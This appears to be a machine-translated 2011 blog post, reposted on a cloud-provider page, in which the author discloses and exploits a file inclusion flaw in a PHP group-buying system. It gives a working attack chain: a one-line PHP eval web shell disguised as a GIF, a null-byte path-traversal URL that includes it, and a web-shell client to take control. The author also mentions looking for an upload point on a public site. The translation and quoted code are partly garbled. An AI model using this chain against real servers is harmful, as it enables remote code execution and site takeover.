A very soft hole in the group buying system every day

Source: Internet
Author: User

I have been studying php for nearly three days. And lead the way, let me learn very difficult, yesterday and hy dug holes together, despise Mao none .. He told me when he left. Let's take a look at everyday group purchases tomorrow, so it's just like this one day. Today, I downloaded a set of items. It seems that he has become handsome again recently. I was taken to a hole .. Haha. Look.
Post Code
========================================================== ======================
Date: 2011.02.24
Team: Harmonious penetration group
Test environment: Winxp
By Chinared ouou
Blog: http://www.hkmjj.com
========================================================== ======================

Header ("Cache-Control: no-cache, must-revalidate"); header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT ");
Require_once MOD_PATH. $ this-> SetEvent ($ config [default_module])... mod. php;
$ _ GET = HttpHandler: checkVars ($ _ GET );
$ _ POST = HttpHandler: checkVars ($ _ POST );
$ _ GET = array_iconv ($ config [charset], UTF-8, $ _ GET );
$ _ POST = array_iconv ($ config [charset], UTF-8, $ _ POST );
$ Moduleobject = new ModuleObject ($ config );

}


Function SetEvent ()
{
$ Modss = array (check => 1, getseller => 1, member => 1 );

$ Mod = (isset ($ _ POST [mod])? $ _ POST [mod]: $ _ GET [mod]);

If (! Isset ($ modss )){
Include (INCLUDE_PATH.error_404.php );
Exit;
}

$ _ POST [mod] =$ _ GET [mod] = $ mod;

Return $ mod;
}
}
$ Init = new initialize;
$ Init-> init ();


?>I don't want to comment out any more. It seems that no filtering is performed .. An evil idea suddenly appeared .. Hey.
First, test the effect. I tested it locally. So there is no upload point.
======================================
Create a txt file and
GIF89aGIF89a
<? Php @ eval ($ _ POST [pass]);?>
Suffix changed to gif
======================================
Then. Http: // localhost/3/ajax. php? Mod =.../../123.gif% 00
Of course, I only put the images in the root directory.
Look. Completely included.



Then the sentence is connected with a kitchen knife. Script selection php

Then ., The connection is established.



Think about it. It is intended to be open in public. Register xx fucking oo. I can't find the upload location. This makes me have the urge to jump to the building. I don't need to be proud .. So I called it in the night owl group. They all asked me to go to the bird brother, so I found the bird brother. It seems no longer, ah, forget it. Come on, don't worry, first time. This is the first time it was made public. Haha, but I think it's no big deal when I see it. However, for the first time I dug a hole in the dish, it was a very soft hole. The writing is rough. Please read it .. Haha. Keep learning .. Good worship,

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.